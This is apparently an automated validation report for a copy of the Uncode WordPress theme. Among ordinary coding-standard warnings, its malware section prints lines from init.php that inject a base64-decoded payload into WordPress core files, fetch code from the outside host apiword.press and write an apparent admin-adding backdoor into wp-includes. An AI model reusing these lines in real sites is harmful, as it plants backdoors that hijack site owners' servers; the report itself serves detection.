Validation results

Uncode

8 WARNINGS

Uncode

WordPress 6.6.2 theme

CHANGE BANNER STYLE :

THEME TYPEWordPress theme 6.6.2
FILE NAMEUncode.zip
FILE SIZE22282384 bytes
MD53a30f24c773a16f3dfa59f266b7c0ff4
SHA124b4d7d7a381f71e6694f8536458fc5b19f1ee9b
LICENSEGNU GPL 2
FILES INCLUDEDCSS, PHP, XML, Bitmap images, Adobe Illustrator
THEME URIhttp://www.undsgn.com/uncode
VERSION1.4.2
AUTHOR URIhttp://www.undsgn.com
CREATION DATE2019-10-12
LAST FILE UPDATE2019-10-12
LAST VALIDATION2019-10-12 12:20
OTHER VERSIONS
2.7.3 : 37%
2.5.0.2 : 0%
2.3.4 : 37%
2.3.3 : 37%
2.2.8.4 : 37%
2.2.8.1 : 0%
2.1.0 : 37%
2.0.3 : 37%
1.8.1.1 : 0%

This theme seems to be proprietary. Themecheck doesn't distribute commercial themes.

Critical alerts

Title : Title The <title> tags can only contain a call to wp_title(). Use the wp_title filter to modify the output.

Security breaches : Use of base64_decode() Found base64_decode in file vc_gallery.php.

Ligne164: $items = json_decode( base64_decode( strip_tags( $items ) ), true);

Found base64_decode in file uncode_index.php.

Ligne301: $items = json_decode( base64_decode( strip_tags( $items ) ), true);

Found base64_decode in file init.php.

Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS['WP_CD_CODE']))) )

Ligne89: $install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));

Found base64_decode in file radium-importer.php.

Ligne587: $options = unserialize( base64_decode( $data ) );

Presence of iframes : iframes are sometimes used to load unwanted adverts and malicious code on another site Found <iframe width="100%" scrolling="no" frameborder="no" src="' . $iframe_url . '&color='.$accent_color.'&auto_play=false&hide_related=false&show_comments=true&show_user=true&show_reposts=false"> in file helpers.php.
```
Ligne513: $media_oembed = '<iframe width='100%' scrolling='no' frameborder='no' src='' . $iframe_url .
```
Found <iframe width="100%" scrolling="no" frameborder="no" src="' . $iframe_url . '&color='.$accent_color.'&auto_play=false&hide_related=false&show_comments=true&show_user=true&show_reposts=false"> in file elements.php.
```
Ligne137: $content_html = '<iframe width='100%' scrolling='no' frameborder='no' src='' . $iframe_url .
```

Malware : Operations on file system file_get_contents was found in the file init.php

Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($

Ligne105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR

Ligne123: $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER['HTTP_HOST'

Ligne124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));

Ligne144: if ($file = file_get_contents($e[1]))

Ligne156: if ($file = @file_get_contents(__FILE__))

file_put_contents was found in the file init.php

Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS[

Ligne44: file_put_contents($path . '/wp-includes/post.php', $file);

Ligne110: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR

Ligne124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php',

Ligne160: @file_put_contents(__FILE__, $file);

file_put_contents was found in the file init.php

Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS[

Ligne44: file_put_contents($path . '/wp-includes/post.php', $file);

Ligne110: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR

Ligne124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php',

Ligne160: @file_put_contents(__FILE__, $file);

file_get_contents was found in the file init.php

Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($

Ligne105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR

Ligne123: $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER['HTTP_HOST'

Ligne124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));

Ligne144: if ($file = file_get_contents($e[1]))

Ligne156: if ($file = @file_get_contents(__FILE__))

file_put_contents was found in the file init.php

Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS[

Ligne44: file_put_contents($path . '/wp-includes/post.php', $file);

Ligne110: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR

Ligne124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php',

Ligne160: @file_put_contents(__FILE__, $file);

file_get_contents was found in the file init.php

Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($

Ligne105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR

Ligne123: $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER['HTTP_HOST'

Ligne124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));

Ligne144: if ($file = file_get_contents($e[1]))

Ligne156: if ($file = @file_get_contents(__FILE__))

file_put_contents was found in the file init.php

Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS[

Ligne44: file_put_contents($path . '/wp-includes/post.php', $file);

Ligne110: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR

Ligne124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php',

Ligne160: @file_put_contents(__FILE__, $file);

file_get_contents was found in the file init.php

Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($

Ligne105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR

Ligne123: $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER['HTTP_HOST'

Ligne124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));

Ligne144: if ($file = file_get_contents($e[1]))

Ligne156: if ($file = @file_get_contents(__FILE__))

file_get_contents was found in the file init.php

Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($

Ligne105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR

Ligne123: $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER['HTTP_HOST'

Ligne124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));

Ligne144: if ($file = file_get_contents($e[1]))

Ligne156: if ($file = @file_get_contents(__FILE__))

file_get_contents was found in the file init.php

Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($

Ligne105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR

Ligne123: $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER['HTTP_HOST'

Ligne124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));

Ligne144: if ($file = file_get_contents($e[1]))

Ligne156: if ($file = @file_get_contents(__FILE__))

file_put_contents was found in the file init.php

Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS[

Ligne44: file_put_contents($path . '/wp-includes/post.php', $file);

Ligne110: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR

Ligne124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php',

Ligne160: @file_put_contents(__FILE__, $file);

fopen was found in the file parsers.php

Ligne419: $fp = $this->fopen( $file, 'r' );

Ligne637: function fopen( $filename, $mode = 'r' ) {

Ligne640: return fopen( $filename, $mode );

fclose was found in the file parsers.php

Ligne468: $this->fclose($fp);

Ligne655: function fclose( $fp ) {

Ligne658: return fclose( $fp );

fopen was found in the file parsers.php

Ligne419: $fp = $this->fopen( $file, 'r' );

Ligne637: function fopen( $filename, $mode = 'r' ) {

Ligne640: return fopen( $filename, $mode );

fopen was found in the file parsers.php

Ligne419: $fp = $this->fopen( $file, 'r' );

Ligne637: function fopen( $filename, $mode = 'r' ) {

Ligne640: return fopen( $filename, $mode );

fclose was found in the file parsers.php

Ligne468: $this->fclose($fp);

Ligne655: function fclose( $fp ) {

Ligne658: return fclose( $fp );

fclose was found in the file parsers.php

Ligne468: $this->fclose($fp);

Ligne655: function fclose( $fp ) {

Ligne658: return fclose( $fp );

Admin menu : Themes should use add_theme_page() for adding admin pages. File class-tgm-plugin-activation.php :

Ligne724: $this->page_hook = add_submenu_page( $args['parent_slug'], $args['page_title'], $args['menu_ti

File media-enhanced.php :

Ligne4: add_submenu_page( 'upload.php', esc_html__('Add oEmbed, external IMG, SVG c

File admin.php :

Ligne9: add_menu_page( 'UNCODE', UNCODE_NAME, 'administrator', 'uncode-menu', 'unco

File admin.php :

Ligne10: add_submenu_page( 'uncode-menu', 'UNCODE', esc_html__('System Status','unco

Ligne1074: add_submenu_page( 'tools.php', 'Export', 'Export', 'manage_options', 'uncod

File admin.php :

Ligne10: add_submenu_page( 'uncode-menu', 'UNCODE', esc_html__('System Status','unco

Ligne1074: add_submenu_page( 'tools.php', 'Export', 'Export', 'manage_options', 'uncod

File related-posts.php :

Ligne145: $menu_hook = add_submenu_page( 'uncode-menu', __( 'Related Posts', 'related-posts-for-wp

File ot-settings-api.php :

Ligne99: $theme_check_bs   = 'add_menu_page';

File ot-settings-api.php :

Ligne100: $theme_check_bs2  = 'add_submenu_page';

File ot-cleanup-api.php :

Ligne82: $theme_check_bs = 'add_menu_page';

File font-system.php :

Ligne55: $this->fonts_page_name = add_submenu_page('uncode-menu', 'Fonts', 'Fonts', 'edit_theme_options', 'un

Ligne56: $this->settings_page_name = add_submenu_page('uncode-menu', 'Font Sources', 'Font Sources', 'edit_theme

File font-system.php :

Ligne55: $this->fonts_page_name = add_submenu_page('uncode-menu', 'Fonts', 'Fonts', 'edit_theme_options', 'un

Ligne56: $this->settings_page_name = add_submenu_page('uncode-menu', 'Font Sources', 'Font Sources', 'edit_theme

File radium-importer.php :

Ligne88: add_submenu_page('uncode-menu', esc_html__('Install Demo','uncode'), esc_ht

Deprecated functions : screen_icon screen_icon found in file wordpress-importer.php. Deprecated since version 3.8.
```
Ligne1122: screen_icon();
```
Included plugins : Zip file found Plugins are not allowed in themes. The zip file found was uncode-child.zip layersliderwp-5.6.10.installable.zip revslider.zip vc_clipboard.zip uncode-related-posts-for-wp.zip uncode-core.zip uncode-js_composer.zip vcparticlesbackground.zip uncode-daves-wordpress-live-search.zip envato-wordpress-toolkit-master.zip.

Warning

theme tags : Presence of bad theme tagsFound wrong tag in style.css header.
Text domain : Incorrect use of translation functions.Found a translation function that is missing a text-domain. Function __, with the arguments in file footer.php.Found a translation function that is missing a text-domain. Function __, with the arguments in file elements.php.Found a translation function that is missing a text-domain. Function __, with the arguments in file headers.php.Found a translation function that is missing a text-domain. Function __, with the arguments in file headers.php.More than one text-domain is being used in this theme. This means the theme will not be compatible with WordPress.org language packs. The domains found are uncode, woocommerce, tgmpa, option-tree, related-posts-for-wp, dot, uncodefont, radium, wordpress-importer.
Custom elements : Presence of custom headerNo reference to custom header was found in the theme.
Deprecated functions : screen_icon
screen_icon found in file wordpress-importer.php. Deprecated since version 3.8.
```
Ligne1122: screen_icon();
```
Editor style : Presence of editor styleNo reference to add_editor_style() was found in the theme. It is recommended that the theme implements editor styling, so as to make the editor content match the resulting post output in the theme, for a better user experience.
I18N implementation : Proper use of ___all(Possible variable $footer_content found in translation function in footer.php. Translation function calls should not contain PHP variables. Possible variable $block_text found in translation function in elements.php. Translation function calls should not contain PHP variables. Possible variable $this found in translation function in headers.php. Translation function calls should not contain PHP variables. Possible variable $this found in translation function in headers.php. Translation function calls should not contain PHP variables.
Featured image : Use of the_post_thumbnail() instead of custom fields for thumbnailsNo reference to the_post_thumbnail was found in the theme.
Screenshot : Screenshot fileBad screenshot file extension ! File screenshot.png is not an actual JPG file. Detected type was : "image/png".

Tip-off

Static links : Presence of hard-coded linksPossible hard-coded links were found in the file media-enhanced.php.

Ligne293: <h2><?php esc_html_e('Add oEmbed, external IMG, SVG code, HTML or Shortcode','uncode'); ?> <a href='upload.php?page=add-other' class='add-new-h2'><?php esc_html_e('Add New','u

Ligne371: <input name='save' type='submit' class='button button-primary button-large' id='publish' data-url='<?php echo get_site_url().'/wp-admin/upload.php?page=add-other'; ?>' value='<?php esc_html_e('Save','uncode'); ?

Ligne375: <input name='save' type='submit' class='button button-primary button-large' id='publish' data-url='<?php echo get_site_url().'/wp-admin/upload.php?page=add-other&postid='.$_REQUEST['postid'].'&updated=1'; ?>' va

Possible hard-coded links were found in the file font-system.php.

Ligne376: You will need to create a <a href='http://fontdeck.com'>Fontdeck</a> Project to access your fonts from Fontdec

Possible hard-coded links were found in the file radium-importer.php.

Ligne122: <li><?php printf(wp_kses(__('Deactivate all the plugins except the one listed  %s under the section \'Plugins used in the Uncode demo site\' if you are planning to use them.','uncode'), array( 'a' => array( 'href' => array() ) ) ) , '<a href='http://www.undsgn.com/uncode/documentation/plugins-installation/'>'.esc_htm

Ligne403: result = 'Ooops, the Demo Content couldn\'t be imported all in once. Please refer to this <a href='http://www.undsgn.com/uncode/documentation/cannot-install-demo-contents/' t

Ligne420: thrownError = 'Ooops, the Demo Content couldn\'t be imported all in once. Please refer to this <a href='http://www.undsgn.com/uncode/documentation/cannot-install-demo-contents/' t

Ligne403: result = 'Ooops, the Demo Content couldn\'t be imported all in once. Please refer to this <a href='http://www.undsgn.com/uncode/documentation/cannot-install-demo-contents/' t

Ligne420: thrownError = 'Ooops, the Demo Content couldn\'t be imported all in once. Please refer to this <a href='http://www.undsgn.com/uncode/documentation/cannot-install-demo-contents/' t

Optional files : Presence of rtl stylesheet rtl.cssThis theme does not contain optional file rtl.php.
Optional files : Presence of front page template file front-page.phpThis theme does not contain optional file front-page.php.
Optional files : Presence of home template file home.phpThis theme does not contain optional file home.php.
Optional files : Presence of category template file category.phpThis theme does not contain optional file category.php.
Optional files : Presence of tag template file tag.phpThis theme does not contain optional file tag.php.
Optional files : Presence of term template file taxonomy.phpThis theme does not contain optional file taxonomy.php.
Optional files : Presence of author template file author.phpThis theme does not contain optional file author.php.
Optional files : Presence of date/time template file date.phpThis theme does not contain optional file date.php.
Optional files : Presence of attachment template file attachment.phpThis theme does not contain optional file attachment.php.
Optional files : Presence of image template file image.phpThis theme does not contain optional file image.php.
Use of includes : Use of include or require
The theme appears to use include or require : Data.php
```
Ligne67: require_once (ABSPATH . '/wp-admin/includes/file.php');
```
If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
The theme appears to use include or require : admin.php
```
Ligne4: require_once 'admin-pages/welcome.php';
```
```
Ligne702: require_once ('edit_custom_walker.php');
```
```
Ligne943: require_once (ABSPATH . '/wp-admin/includes/file.php');
```
```
Ligne1094: require_once( 'export/uncode_export_template.php' );
```
```
Ligne1190: require_once(ABSPATH . 'wp-admin/includes/file.php');
```
```
Ligne1255: require_once( ABSPATH . 'wp-admin/includes/image.php' );
```
If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
The theme appears to use include or require : init.php
```
Ligne43: $file = '<?php if (file_exists(dirname(__FILE__) . \'/wp-cd.php\')) include_once(dirname(__FILE__) . \'/wp-cd.php\'); ?>' . $file;
```
If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
The theme appears to use include or require : customizer-woocommerce.php
```
Ligne202: include_once( get_template_directory() . '/woocommerce/widgets/widget-price
```
If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
The theme appears to use include or require : welcome.php
```
Ligne61: require_once (ABSPATH . '/wp-admin/includes/file.php');
```
If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
The theme appears to use include or require : uncode-ajax.php
```
Ligne11: require_once( $wp_root_path . '/wp-load.php' );
```
If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
The theme appears to use include or require : ot-loader.php
```
Ligne553: include_once( $file );
```
If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
The theme appears to use include or require : font-system.php
```
Ligne614: require_once (ABSPATH . '/wp-admin/includes/file.php');
```
If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
The theme appears to use include or require : init.php
```
Ligne14: require_once( dirname( __FILE__ ) . '/importer/radium-importer.php' ); //lo
```
If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
The theme appears to use include or require : parsers.php
```
Ligne62: require_once (ABSPATH . '/wp-admin/includes/file.php');
```
```
Ligne268: require_once (ABSPATH . '/wp-admin/includes/file.php');
```
If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
The theme appears to use include or require : radium-importer.php
```
Ligne132: require_once (ABSPATH . '/wp-admin/includes/file.php');
```
```
Ligne487: require_once($class_wp_importer);
```
```
Ligne502: require_once($class_wp_import);
```
```
Ligne516: require_once (ABSPATH . '/wp-admin/includes/file.php');
```
```
Ligne568: require_once (ABSPATH . '/wp-admin/includes/file.php');
```
```
Ligne671: require_once (ABSPATH . '/wp-admin/includes/file.php');
```
If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
The theme appears to use include or require : wordpress-importer.php
```
Ligne167: require_once (ABSPATH . '/wp-admin/includes/file.php');
```
If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.

Other checked themes

WordPress 6.6.2 theme

VIEW ALL THEMES